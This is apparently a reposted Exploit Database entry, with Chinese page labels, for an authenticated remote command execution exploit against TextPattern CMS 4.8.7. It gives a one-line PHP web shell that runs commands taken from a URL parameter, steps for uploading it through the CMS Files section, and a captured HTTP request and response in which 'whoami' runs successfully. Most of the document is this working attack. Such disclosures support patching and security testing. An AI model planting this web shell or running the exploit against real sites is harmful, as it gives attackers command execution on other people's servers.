TextPattern CMS 4.8.7 – Remote Command Execution (RCE) (Authenticated)

• Exploit Database
• 18 阅读

• 作者： Mert Daş
  日期： 2021-10-14
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50415/

• # Exploit Title: TextPattern CMS 4.8.7 - Remote Command Execution (RCE) (Authenticated)
  # Date: 2021/09/06
  # Exploit Author: Mert Daş merterpreter@gmail.com
  # Software Link: https://textpattern.com/file_download/113/textpattern-4.8.7.zip
  # Software web: https://textpattern.com/
  # Tested on: Server: Xampp
  
  First of all we should use file upload section to upload our shell.
  Our shell contains this malicious code: <?PHP system($_GET['cmd']);?>
  
  1) Go to content section .
  2) Click Files and upload malicious php file.
  3) go to yourserver/textpattern/files/yourphp.php?cmd=yourcode;
  
  After upload our file , our request and response is like below :
  
  Request:
  
  GET /textpattern/files/cmd.php?cmd=whoami HTTP/1.1
  Host: 127.0.0.1
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0)
  Gecko/20100101 Firefox/89.0
  Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
  Accept-Encoding: gzip, deflate
  Connection: close
  Cookie: txp_login_public=18e9bf4a21admin; language=en-gb; currency=GBP;
  PHPSESSID=cctbu6sj8571j2t6vp7g8ab7gi
  Upgrade-Insecure-Requests: 1
  
  
  Response:
  
  HTTP/1.1 200 OK
  Date: Thu, 10 Jun 2021 00:32:41 GMT
  Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/7.4.20
  X-Powered-By: PHP/7.4.20
  Content-Length: 22
  Connection: close
  Content-Type: text/html; charset=UTF-8
  
  pc\mertdas